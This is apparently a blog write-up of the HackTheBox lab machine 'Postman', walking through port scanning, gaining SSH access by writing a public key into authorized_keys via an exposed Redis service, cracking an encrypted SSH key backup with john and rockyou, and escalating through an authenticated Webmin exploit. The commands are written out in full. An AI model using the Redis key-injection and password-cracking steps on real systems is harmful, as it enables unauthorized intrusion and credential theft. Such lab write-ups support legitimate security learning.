HackTheBox – Postman

The initial nmap scan for the HackTheBox machine “Postman” revealed a few open ports:

# Nmap 7.80 scan initiated Sun Nov  3 14:41:26 2019 as: nmap -p- -o nmap_full 10.10.10.160
Nmap scan report for 10.10.10.160
Host is up (0.045s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

The website on port 80 showed nothing of interest for us. On port 10000 there was a Webmin instance running in version 1.910. There are exploits for that version, but the unauthenticated exploit didn’t work since the password change feature was disabled and the remaining exploit required authentication.

That leaves the open Redis port 6379. There is a common way to escalate to a shell using Redis. Basically we write our SSH public key into a Redis key, then set the Redis directory to the .ssh folder of a user, change the database file name to authorized_keys and force Redis to write that file.

We’ll do just that:

# cat foo.txt 



ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfPFneogPBvgeGccPGx9v0rz8sj6Gp7KaGNRocDfqNuSf5V0rB20AW0SNQh0UQRMb1QitaOub5ajwrtcHPckuY9WyhW76wIsXtxK5agOZuoj5BGOPLmXG7zVEBMLQ9BtnDzvTMM7RolR1Mp+VMZuj2ZOdtI4TgqZ0A8rVkXIGtQrntMQz1KBubnEHe5p30TrJMExeymZ3ZiIyQPFV/CxCayq8JJ4E+sIrLU8KxWH5QB5TRqtZTgjjzOn93ugXeNiMjTjzZCa5CcnCjXBiF5NkI6huCsg6GxuGEHdCLVeDwt8t75zV5cW1dDAt9EYaLB36grfMfkGZW8aIAZe5ClqQH root@kali



# cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
OK
# redis-cli -h 10.10.10.160
10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK
10.10.10.160:6379> exit
# ssh redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

There are two important things here to mention. First, the public key that we prepared to pipe into redis-cli is surrounded by a couple of newlines. If they are missing the SSH server will not be able to find our public key in the file since Redis will write some binary data to the beginning of the line.
And second, the folder /var/lib/redis/.ssh had to be guessed. This can be looked up by installing the Redis service on a local machine and figuring out what is set as the default home for this user.

This is still a rather constructed scenario since the .ssh folder would normally not exist and the redis user would not have a valid login shell set.

Now we have a low privileged shell on the system. There is only one other user on the system, “Matt”. Searching for files owned by this user on the system we find this:

redis@Postman:~$ find / -uid 1000 2>/dev/null
/opt/id_rsa.bak
/home/Matt
/home/Matt/.bashrc
/home/Matt/.bash_history
/home/Matt/.gnupg
/home/Matt/.ssh
/home/Matt/user.txt
/home/Matt/.selected_editor
/home/Matt/.local
/home/Matt/.local/share
/home/Matt/.profile
/home/Matt/.cache
/home/Matt/.wget-hsts
/home/Matt/.bash_logout
/var/www/SimpleHTTPPutServer.py

The first hit looks interesting. A SSH private key backup file, which is readable by us. But it is encrypted. We copy it locally to our attacking Kali and brute-force the password:

# /usr/share/john/ssh2john.py id_rsa.bak > mattkey
# john --wordlist=/usr/share/wordlists/rockyou.txt mattkey 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa.bak)

We now have the password, but connecting via SSH using this key still fails. Checking on the server with our low privilege shell we can find the following setting in /etc/ssh/sshd_config:

#deny users
DenyUsers Matt

We can’t get around that. But we now have valid credentials. First off we can simply run su - Matt and supply the password to get the user shell. But also these credentials can be used on the Webmin interface at https://10.10.10.160:10000. Now we can use the Webmin exploit which requires authentication first. There is a metasploit module for that, so we’ll just use that:

And with that we get both flags.

Leave a Reply

Your email address will not be published.